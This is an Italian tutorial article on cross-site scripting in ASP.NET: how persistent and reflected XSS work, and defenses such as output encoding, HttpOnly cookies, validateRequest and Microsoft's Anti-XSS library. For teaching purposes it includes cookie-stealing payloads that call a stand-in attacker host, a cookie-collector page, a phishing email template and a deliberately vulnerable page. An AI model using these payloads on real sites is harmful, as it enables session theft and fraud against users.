Condividi tramite


La subdola minaccia del Cross Site Scripting

Da Raffaele Rialdi, Visual Developer - Security MVP

Al contrario del mondo reale, in quello virtuale la distanza non ha alcuna importanza e la diffusione di Internet ha creato una sorta di enorme megalopoli che ci permette di vivere allo stesso tempo in perfetta solitudine o in mezzo a una moltitudine. Parlando di sicurezza, nel mondo reale la distanza è un parametro fondamentale visto che la minaccia deve essere fisicamente vicina. Lo stesso ovviamente non vale per il mondo virtuale dove chiunque è soggetto a minacce che possono arrivare da qualsiasi parte della rete e perciò molto più frequentemente.
Il cross site scripting è una tipologia di attacco che può essere portato a compimento anche se solo uno dei tre attori principali della società informatica sono incauti: utenti, sviluppatori e amministratori di sistema.

Come funziona

Il cross site scripting è un attacco informatico prodotto da un hacker che consiste nell’iniettare uno script in una applicazione web vulnerabile, la quale inconsapevolmente farà eseguire lo script nel browser dei suoi utenti.

Un primo schema molto semplificato è il seguente:

L’hacker in qualche modo avvelena il sito web facendo si che le pagine richieste da un utente contengano lo script realizzato dall’hacker.

La prima domanda che salta in mente allo sviluppatore riguarda la sicurezza degli script. Non erano forse stati pensati per essere intrinsecamente sicuri? Sappiamo infatti che gli script possono accedere ad un numero limitato di risorse e che il browser impedisce loro, tra le altre cose, di accedere ad un arbitrario file su disco o di eseguire chiamate di sistema. Il fatto è che gli script possono essere considerati sicuri in quanto eseguiti nel contesto dell’applicazione web per cui sono stati scritti. Non è certamente di interesse per un sito divulgare le informazioni sensibili che gli sono state affidate dall’utente. Diverso è se lo script è pensato da qualcuno che vuole rubare queste informazioni.
Rivalutando gli script in quest’ottica, ecco che le risorse a cui devono poter accedere possono risultare a rischio. Per esempio i dati presenti nella pagina web del sito vulnerabile, i dati prelevabili con richieste Get/Post/XmlHttp al sito di provenienza, i cookie persistenti o ancora dei dati XML usati per esempio da Ajax.

Già nel nostro primo semplice esempio lo script dell’hacker potrebbe intercettare la funzione di onsubmit delle credenziali del sito e spedirle all’hacker. Visto che gli script hanno pieno accesso al DOM della pagina html che li contiene, l’operazione sarebbe estremamente semplice da realizzare.

Descritto il meccanismo a grandi linee, entriamo in maggiore dettaglio comunciando a suddividere gli attacchi di cross site scripting in due macrocategorie: persistenti e volatili.

 

Cross site scripting persistente

Gli attacchi persistenti consistono nell’iniettare lo script nel web server in modo che venga salvato e riproposto agli utenti che lo visitano. A prima vista questo tipo di attacco potrebbe sembrare difficile da attuare, ma prendiamo in esame due esempi molto popolari: i forum e i blog.

Nel primo caso l’hacker posta uno script nel messaggio di un forum. I post più recenti tipicamente vengono mostrati a tutti gli utenti che si collegano alla pagina principale del sito e lo script viene immediatamente eseguito dai browser.

Nel secondo caso l’hacker posta uno script in un blog aperto per l’occasione. Gli ultimi post di un blog sono generalmente pubblicati sul cosiddetto “muro” che aggrega i post di tutti gli utenti di quel sito. Forse a qualcuno è già capitato di vedere l’effetto di un Html mal formattato in un post di un blog: nella pagina che aggrega tutti i post la mancata chiusura di un <H1> causerà la formattazione a titolo di tutto il resto della pagina. In modo similare il sito che ospita il blog che sia vulnerabile al cross site scripting, spedirà lo script dell’hacker a tutti i visitatori di quella pagina.

La mia nuova automobile: <img src="verafoto.jpg" 
onload="var s='http://sitohacker/Default.aspx?Cookie='.concat(document.cookie);

window.event.srcElement.src=s;" />

L’entità del danno provocato da questa vulnerabilità può variare dalla più totale innocuità a un feroce attacco. L’hacker potrebbe firmare dei messaggi a nome dell’utente oppure leggere i suoi dati sensibili. O ancora lo script potrebbe consegnare nelle mani dell’hacker la password dell’utente per quel forum/blog. Quanto queste credenziali possano essere importanti dipende dall’accortezza dell’utente a non usarle, ad esempio, per l’accesso al proprio conto bancario. In sostanza anche i siti che si reputano a zero rischio per la bassa importanza del contenuto del proprio sito, possono creare una grave minaccia. Questo è un chiaro esempio di quanto la sicurezza sia una miscela costruita su più elementi e con tutti gli attori del sistema informatico.

 

Cross site scripting volatile

Molti siti interessanti dal punto di vista dell’hacker non hanno una struttura come forum o blog, e non è quindi possibile per l’hacker persistere lo script usato per rubare informazioni all’utente, perciò l’attacco può avvenire solo durante una sessione attiva tra utente e sito vulnerabile.

La soluzione è più semplice di quanto non si possa pensare: sarà l’utente stesso ad iniettare lo script dell’hacker nel sito vulnerabile, il quale restituirà all’utente lo script immediatamente eseguito nel suo browser con la stessa capacità dirompente già vista in precedenza.

Uno degli attacchi di cross site scripting più diffusi inizia con un attacco di social engineering che ha come mezzo una apparentemente innocua email che promette una vincita milionaria sicura. In mezzo alle milioni di email di spam che girano su internet, molte sono un attacco di cross site scripting.
Credo che nessuno possa negare che tragicamente non sarebbero pochi gli utenti a cliccare sul link per cercare di riscuotere la presunta vincita milionaria.

Al click dell’utente si apre, ad esempio, il sito della banca che l’hacker ha prescelto in quanto vulnerabile al cross site scripting e di cui presume che l’utente ne sia un cliente. Il risultato è l’apertura del browser che non desta alcun sospetto all’utente che brama la vincita fortunata. A questo punto il browser esegue una GET o POST della pagina vulnerabile del sito della banca trasmettendo lo script avvelenatore.

Come risultato il browser riceve la pagina inquinata dallo script che viene eseguito immediatamente. Lo script, essendo stato scaricato dal dominio del sito della banca, ha accesso al cookie che incautamente custodisce le credenziali per accedere alle operazioni sul conto corrente, e che viene prontamente trasmesso all’hacker. Infine viene subito caricata un’altra pagina per non insospettire l’utente. Di tutta questa operazione l’utente non fa in tempo a vedere il caricamento della pagina della banca in quanto avviene in tempi rapidissimi. Il furto delle credenziali è avvenuto e l’utente con tutta probabilità non si è accorto di nulla.

 

Mini Laboratorio

Allo scopo di fare un semplice test dimostrativo, costruiamo due semplici siti web con Asp.net 2.0: il sito vulnerabile e quello dell’hacker.

Il sito vulnerabile consta di una sola pagina, Default.aspx nella quale dovremo disabilitare esplicitamente ValidateRequest di cui parleremo più avanti:

<%@ Page ValidateRequest="false" …. %>

Inoltre saranno necessari due soli controlli: un bottone di nome “btSetCookie” per creare il cookie persistente da rubare ed una label per consentire l’injection di uno script.

Il gestore dell’evento di click del bottone imposterà ad esempio le ipotetiche credenziali dell’utente, e sarà necessario cliccarlo solo una prima volta per creare il cookie persistente su disco:

protected void btSetCookie_Click(object sender, EventArgs e)
{
HttpCookie ckUser = new HttpCookie("Utente", "Raffaele");
HttpCookie ckPassword = new HttpCookie("Password", "password");
ckUser.Expires = DateTime.Now.AddDays(1);
ckPassword.Expires = DateTime.Now.AddDays(1);
Response.AppendCookie(ckUser);
Response.AppendCookie(ckPassword);
}

Nella Page_Load Load invece daremo il benvenuto all’utente prendendo una stringa dalla QueryString

protected void Page_Load(object sender, EventArgs e)
{
string Name = string.Empty;
if(Request.QueryString["Name"] != null)
Name = "Buongiorno " + Request.QueryString["Name"];
lblInjection.Text = Name;
}

Il caso della QueryString è il più semplice da iniettare ma un attacco analogo può essere effettuato usando ad esempio una HTTP-POST.

Aprendo il sito vulnerabile con l’indirizzo: http://sitovulnerabile/Default.aspx?Name=Raffaele vedremo il messaggio “Benvenuto Raffaele”.

Veniamo ora al sito dell’hacker il cui compito è solo quello di raccogliere le credenziali rubate degli utenti che cadono nella trappola. Qui è presente una sola pagina vuota, default.aspx che raccoglie e salva su disco le QueryString che gli vengono passate.

protected void Page_Load(object sender, EventArgs e)
{
string s = Request.QueryString["Cookie"] + "\r\n";
string FileName = Server.MapPath("~/Hacked.log");
File.AppendAllText(FileName, s);
Response.Redirect("http://blogs.ugidotnet.org/raffaele");
}

A questo punto è tutto pronto e non resta che spedire un milione di email con la promessa della vincita milionaria, sperando che qualcuno, la cui banca soffra di vulnerabilità al cross site scripting, abbocchi.

Il messaggio di posta elettronica in formato html, sarà composto in questo modo e inietterà per mano dell’utente lo script fatale nel sito web.

<html><body>
Hai vinto un milione di euro<BR/>
Clicca <a href="http://sitovulnerabile/Default.aspx?Name=<script>location.href='http://sitohacker/Default.aspx?Cookie='.concat(document.cookie)</script>">
qui</a> per riscuotere
</body></html>

Al posto del nome utente viene iniettato lo script che redirige il browser dell’utente sul sito dell’hacker passando per intero il cookie del dominio contestuale alla pagina aperta, la banca vulnerabile nel nostro semplicistico esempio.

 

Come proteggere l’applicazione web

Per portare a compimento un attacco di cross site scripting abbiamo visto che l’hacker deve trovare il modo di far eseguire uno script nel browser utente nel contesto di un sito che abbia delle informazioni preziose da rubare.

In sostanza lo script viene fatto transitare verso l’applicazione web per poi essere erogato all’interno di una nuova pagina ed eseguito dal browser. Nel caso di cross site scripting volatile il browser che eroga lo script è lo stesso che riceve la pagina avvelenata, mentre nel caso del persistente questo non è necessariamente vero.

Negli attacchi di cross site scripting non ha importanza se il canale di trasmissione sia protetto da SSL o se l’utente sia autenticato. Lo schema a blocchi mostra che il sito vulnerabile ha mancato due capisaldi fondamentali nella scrittura di codice sicuro: la validazione dell’input e la codifica dell’output.

 

La validazione dell’input e la codifica dell’output

La validazione è un controllo di congruità che è tanto più efficace quanto è meno generico. Se ad esempio ci aspettiamo un indirizzo email, la validazione con una regular expression è sicuramente il sistema più efficiente. Se invece è il messaggio di un post in un forum il controllo sarà evidentemente più complesso perché il corpo del messaggio potrebbe contenere emoticon o una formattazione html che potrebbero nascondere delle pericolose insidie.

Il primo passo è quello di identificare nella applicazione tutti i punti di ingresso dei dati che provengono dall’utente, siano essi i dati di una form, della QueryString, di un database condiviso con un’altra applicazione o da una pagina che usa Ajax.

Questi dati in ingresso sono pericolosi non solo per il cross site scripting ma per una più generica script injection o ancora per SQL injection. In parole povere tutto l’input su cui non possiamo mettere la mano sul fuoco deve essere validato in modo rigoroso.

Il tipo di validazione da effettuarsi cambia ovviamente dall’uso che facciamo di questi dati. Se sono destinati a essere rimandati alla pagina web perché l’utente li possa confermare, andranno validati in modo da evitare che contengano tag e script. Se sono destinati al database potremo demandare la validazione ad esempio alla classe SqlParameter e non curarci della presenza di tag e script sempre che non vengano rimandati a una pagina web successivamente.

Il processo di validazione non può limitarsi alla mera sostituzione o codifica dei simboli di minore e maggiore. Come abbiamo visto all’inizio gli script possono anche essere all’interno degli attributi o degli eventi di un tag html, rendendo vana questa contromisura.

Un altro potente veicolo di script è “expression” che consente di iniettare codice con stessa capacità distruttiva già vista in precedenza:

<div style="background-color: expression(alert('hi'))" />

Non farò un elenco dei tag che possiamo considerare sicuri o a rischio. L’elenco rischierebbe di essere poco esaustivo e dovrebbe tenere conto di come vengono processati in ciascun browser. Non ritengo questa strategia sufficientemente sicura anche se in rari casi può essere l’unica soluzione.

 

I danni

Se non bloccati, questi attacchi possono arrivare a essere estremamente pericolosi. Oggi per motivi di comodità e standardizzazione il contenuto Html e gli script sono spesso presenti anche nei rich client scollegati da Internet. Naturalmente il problema della validazione vale anche per questi perché potrebbero fungere da mezzi per veicolare un pericoloso script.

La tipologia di danni è molto variabile e può andare dal furto di credenziali all’attacco di altri siti vulnerabili, sistema tipicamente usato dagli hacker per far perdere le loro tracce. Il sistema più diffuso rimane sempre il furto del cookie che è il punto più debole di un’applicazione web vulnerabile.

Se il rimedio migliore è ovviamente quello di applicare le tecniche di validazione dell’input e di codifica dell’output, esiste un modo per mitigare il problema del furto dei cookie ed è un nuovo attributo specifico di Internet Explorer chiamato HttpOnly che è disponibile a partire dalla IE6 Service Pack 1.

 

Lo scopo di HttpOnly è di informare il browser che il cookie non deve essere accessibile dagli script ma è disponibile solo per essere inviato al web server.

La sintassi aggiornata per Set-Cookie è la seguente e l’attributo HttpOnly è case-insensitive, cioè non ha importanza se le lettere siano maiuscole o minuscole:

Set-Cookie: <name>=<value>[; <name>=<value>]...
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][;HttpOnly]

Grazie a questo attributo le tipologie di attacchi di cross site scripting che si basano sul furto delle informazioni presenti dentro un cookie, sono scongiurate. In pratica uno script che, eseguito ad esempio in Internet Explorer 7, dovesse tentare di leggere document.cookie, otterrebbe una stringa vuota.

Questo non significa però che HttpOnly sconfigga la totalità degli attacchi cross site scripting. Infatti lo script potrebbe cambiare la password di un utente registrata nel cookie con una nota solo all’hacker senza neppure farsi mandare il contenuto del cookie.

Bisogna sempre ricordare che è una soluzione lato client il cui più evidente vantaggio, al contrario delle soluzioni lato server, è che l’utente ha in mano la possibilità di ridurre i propri rischi, installando la versione più aggiornata del browser. In altri termini, chi naviga con browser che ignorano HttpOnly (per esempio IE6 senza SP1) è a maggiore rischio nel caso di attacchi cross site scripting.

HttpOnly ribadisce il concetto, se ce ne fosse ancora bisogno, che l’installazione delle patch e l’aggiornamento delle nuove versioni di applicazioni (specie se sono i browser) e dei sistemi operativi è quanto mai fondamentale.

Cosa comporta l’implementazione di questo attributo per lo sviluppatore? È evidente e auspicabile che una buona protezione nasca dall’adozione di tutte quelle buone pratiche di validazione e codifica dell’output citate in precedenza ma l’implementazione di questo attributo rimane una soluzione molto importante perché la sua messa in opera è molto rapida, ha un impatto estremamente basso sulla revisione del codice e quindi della sua messa in produzione, tutti dati fondamentali per siti di dimensioni medio/grandi.

Per gli sviluppatori Asp classic la soluzione consiste nell’aggiunta di HttpOnly al cookie usando il solito Response.AddHeader. Gli sviluppatori Asp.net possono usare lo stesso sistema o più elegantemente impostare a true la proprietà HttpOnly della classe HttpCookie. Ancora più rapida è la soluzione del tag httpCookies del web.config che abilita l’attributo HttpOnly per tutti i cookies usati nell’applicazione. Come si può vedere dall’esempio, l’adozione di questa strategia è realmente poco invasiva per lo sviluppatore.

HttpCookie CookieNome = new HttpCookie("Nome", "Raffaele");
CookieNome.HttpOnly = true;
Response.Cookies.Add(CookieNome);

oppure

<httpCookies domain="String" httpOnlyCookies="true|false" requireSSL="true|false" />

In teoria la migliore implementazione dovrebbe tenere conto della versione del browser installata ed evitare ad esempio la registrazione di informazioni sensibili per chi non supporta HttpOnly. Questa strategia purtroppo non è rapida alla luce del fatto che lo User Agent non è sufficiente per sapere se Internet Explorer 6 abbia o meno la service pack 1 installata.

Dal fronte degli altri browser c’è da registrare che purtroppo sono ancora tanti a non aver ancora voluto implementare il supporto per questo attributo; nel caso di Firefox 2.0 l’implementazione è tuttora in discussione dall’anno 2002 ed alla data di questo articolo non è ancora giunta al termine (maggiori dettagli a questo link: https://bugzilla.mozilla.org/show_bug.cgi?id=178993). Al posto di HttpOnly, FireFox 2.0 ha deciso una implementazione differente, basata su nuovi metodi non standard javascript, e non compatibile con HttpOnly il cui approfondimento (http://blog.mattmecham.com/archives/2006/09/http\_only\_cookies\_in\_firefox.html) va al di là dello scopo di questo articolo.

 

Gli strumenti offerti da Asp.net

Fin dalla versione 1.1 Asp.net offre un controllo sull’input utente grazie a validateRequest che scongiura gli attacchi più comuni come il post di tag Html, la presenza di script nei cookie, nei form o nelle QueryString.

Di default validateRequest è abilitato e la sua disabilitazione ha senso solo se si vuole dare all’utente la possibilità di postare Html/script e si effettua una scrupolosa validazione su questo input.

<%@ Page validateRequest="true"  %> (true è il default)

Per evitare di disabilitare la validazione solo per uno dei controlli, si potrebbe ricorrere ad un piccolo espediente:

  • Durante la onSubmit criptare il contenuto del controllo di cui non si vuole la validazione grazie alla funzione ‘encode’ di javascript

  • Mettere il risultato criptato dentro un controllo <input type=hidden … /> all’interno del form

  • Usare HttpUtility.Decode per decodificare i dati criptati sul lato server

  • Validare accuratamente i dati ricevuti

Possiamo dire che Asp.net ha risolto il problema della validazione? La risposta è no, in quanto a seconda del contesto è molto facile nascondere codice javascript nei tag della pagina. L’attributo validateRequest rimane solo uno degli strati di difesa che sono necessari nelle applicazioni web.

Un altro valido strumento di difesa che deve essere sempre usato congiuntamente e non in modo alternativo è la codifica di ciò che presentiamo sulla pagina.

Il loro uso è molto semplice e si presta per esempio per evitare che il browser legga il tag <script> in quanto i simboli di maggiore e minore verrebbero codificati resi visibili sulla pagina invece di essere interpretati dal browser. Parliamo dei metodi statici HttpUtility.HtmlEncode e HttpUtility.UrlEncode.

string Messaggio = “Buongiorno ” + HttpUtility.HtmlEncode(Request.QueryString["Name"]);

Nel caso di attacco con lo script visto in precedenza, mostrerebbe visibile e senza essere eseguito:

Buongiorno <script>location.href='http://sitohacker/Default.aspx?Cookie='.concat(document.cookie)</script>

È importante notare che HtmlEncode codifica le doppie virgolette ma non le singole. Perciò è buona abitudine usare le doppie virgolette negli attributi e negli eventi delle pagine in quanto questa semplice precauzione renderebbe inutili le parti di script con singole e doppie virgolette.

Abbiamo già visto che non sono solo i simboli di maggiore e minore a dover essere temuti. L’iniezione di script all’interno della pagina può essere molto più subdola. Per sfruttare al meglio il prezioso filtro della codifica dell’output abbiamo in Asp.net 2.0 un nuovo e potente alleato: la libreria anti cross site scripting.

La libreria anti cross site scripting

In Microsoft esiste un team che si occupa specificamente di problemi relativi alla sicurezza, le performance e la privacy il cui nome è “ACE Team” (https://blogs.msdn.com/ace_team).

Questo gruppo ha creato una libreria chiamata “Anti-Cross Site Scripting Library” arrivata alla versione 1.5 e scaricabile a questo link: https://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en

Lo scopo di questa libreria è dare allo sviluppatore dei collaudati e robusti metodi di codifica di tutto ciò che proviene da una sorgente non completamente fidata, tipicamente i dati letti da una form utente o di un database condiviso con altre applicazioni.

Nella attuale versione 1.5 della libreria sono esposti sette metodi statici che prendono una stringa e restituiscono la stringa codificata:

public static string HtmlEncode(string s);
public static string HtmlAttributeEncode(string s);
public static string JavaScriptEncode(string s);
public static string UrlEncode(string s);
public static string VisualBasicScriptEncode(string s);
public static string XmlEncode(string s);
public static string XmlAttributeEncode(string s);

Ciascuno di questi metodi è specifico per la destinazione della stringa. Se ad esempio dobbiamo creare un url, il metodo da usare sarà UrlEncode; se invece dovessimo aggiungere un attributo ad un tag Html, dovremmo invece usare HtmlAttributeEncode.

La libreria si basa sul principio di inclusione, vale a dire che a seconda della destinazione della stringa viene definito un set di caratteri ammessi e tutti gli altri vengono codificati. Attributi Html e Url non condividono lo stesso set di caratteri da lasciare inalterati e quindi ecco spiegati i diversi metodi esposti dalla libreria. Una trattazione più ampia sul suo uso si trova a questo link: https://msdn2.microsoft.com/library/aa973813.aspx.

In qualità di Security MVP ho avuto il privilegio di testare lo scorso Novembre in anteprima la libreria e rilevare all’ACE team l’assenza nella libreria di un metodo che permetta di filtrare una iniezione di javascript usando “expression”.
Prendiamo in esame il caso in cui l’utente possa scrivere il colore per personalizzare lo sfondo di un div.
La personalizzazione del colore avverrebbe con:

style="background-color:" + ColoreUtente;

Se al posto del nome del colore l’input dovesse essere "expression(alert('Ciao'));", verrebbe eseguito lo script nella pagina.

Al momento la libreria è sprovvista di metodi che permettano di filtrare questo tipo di injection su cui è importante che ciascun sviluppatore rifletta e prenda le contromisure più opportune come ad esempio una regular expression per filtrare la parola ‘expression’ seguita dalla parentesi tonda ignorando eventuali spazi. L’ACE team mi ha assicurato che c’è forte determinazione a evolvere la libreria in modo da coprire anche scenari di questo tipo nelle future versioni.

È realistico pensare che in futuro i server control di Asp.net useranno nativamente i metodi di questa libreria diminuendo la superficie di attacco.

Conclusione

Abbiamo preso in esame una piccola rosa di attacchi basati sull’esecuzione di script che possono rendere molto spiacevole la navigazione dell’utente.

La sicurezza dell’utente dipende da tutti gli attori del sistema informatico. L’utente può parzialmente difendersi mantenendo aggiornato il browser e il sistema operativo; lo sviluppatore può rendere più sicura la sua applicazione seguendo le buone norme di validazione e codifica dell’output; l’amministratore di sistema può verificare la corretta configurazione dell’applicazione (ad esempio escludendo il verb TRACE dal web server) e analizzare scrupolosamente i log.